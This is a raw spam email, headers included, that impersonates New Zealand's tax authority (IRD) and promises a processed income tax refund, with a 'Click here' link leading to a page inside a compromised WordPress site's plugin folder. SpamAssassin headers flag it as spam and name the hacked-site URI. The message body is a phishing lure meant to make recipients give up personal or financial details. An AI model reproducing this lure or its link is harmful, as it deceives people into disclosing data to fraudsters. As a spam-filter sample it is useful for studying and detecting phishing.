Return-Path: <>
Delivered-To: behniwal+spam@server.rnv.kpw.mybluehostin.me
Received: from server.rnv.kpw.mybluehostin.me
	by server.rnv.kpw.mybluehostin.me with LMTP
	id GNbzCWyLQ2oafAAAyTkJsw
	(envelope-from <>)
	for <behniwal+spam@server.rnv.kpw.mybluehostin.me>; Tue, 30 Jun 2026 03:25:00 -0600
Return-path: <>
Envelope-to: logtextcheck@behniwalgroup.com
Delivery-date: Tue, 30 Jun 2026 03:25:00 -0600
Received: from [162.241.136.125] (port=63831 helo=goldimageprinting.com)
	by server.rnv.kpw.mybluehostin.me with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.99.4)
	id 1weUiB-000000008Ih-184B
	for logtextcheck@behniwalgroup.com;
	Tue, 30 Jun 2026 03:25:00 -0600
Received: from [171.22.30.111] (UnknownHost [171.22.30.111]) by goldimageprinting.com with SMTP;
   Wed, 5 Oct 2022 10:05:59 -0700
Content-Type: multipart/alternative; boundary="===============1340354093=="
MIME-Version: 1.0
To: Recipients <>
From: "IRD Newzealand" <>
Date: Wed, 05 Oct 2022 10:05:57 -0700
X-Spam-Status: Yes, score=8.5
X-Spam-Score: 85
X-Spam-Bar: ++++++++
X-Spam-Report: Spam detection software, running on the system "server.rnv.kpw.mybluehostin.me",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Dear Customer, Your income tax refund is processed and ready
    to be disbursement. Click here to submit a refund application to enable us
    process your payment at the earliest. Regards, IRD New Zealand 
 Content analysis details:   (8.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  2.6 FROM_NO_USER           From: has no local-part before @ sign
  0.1 TO_MALFORMED           To: has a malformed address
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: revdawncasseday.com]
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  2.0 MIXED_HREF_CASE        Has href in mixed case
  3.5 URI_WP_HACKED          URI for compromised WordPress site, possible
                             malware
  0.2 HELO_MISC_IP           Looking for more Dynamic IP Relays
X-Spam-Flag: YES
Subject:    162.241.136.126 admin@goldimageprinting.com

You will not see this in a MIME-aware mail reader.
--===============1340354093==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

Dear Customer,
 =

Your income tax refund is processed and ready to be disbursement. Click her=
e to submit a refund application to enable us process your payment at the e=
arliest.
 =

Regards,
IRD New Zealand

--===============1340354093==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

<HTML><head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=
=3Diso-8859-1"/></head><BODY><P>Dear Customer,</P>
<P><BR>Your income tax refund is processed and ready to be disbursement. <A=
 href=3D"https://revdawncasseday.com/wp-content/plugins/wjcmlda/seacuded/in=
dex.html">Click here</A> to submit a refund application to enable us proces=
s your payment at the earliest.</P>
<P><BR>Regards,<BR>IRD New Zealand</P></BODY></HTML>
--===============1340354093==--

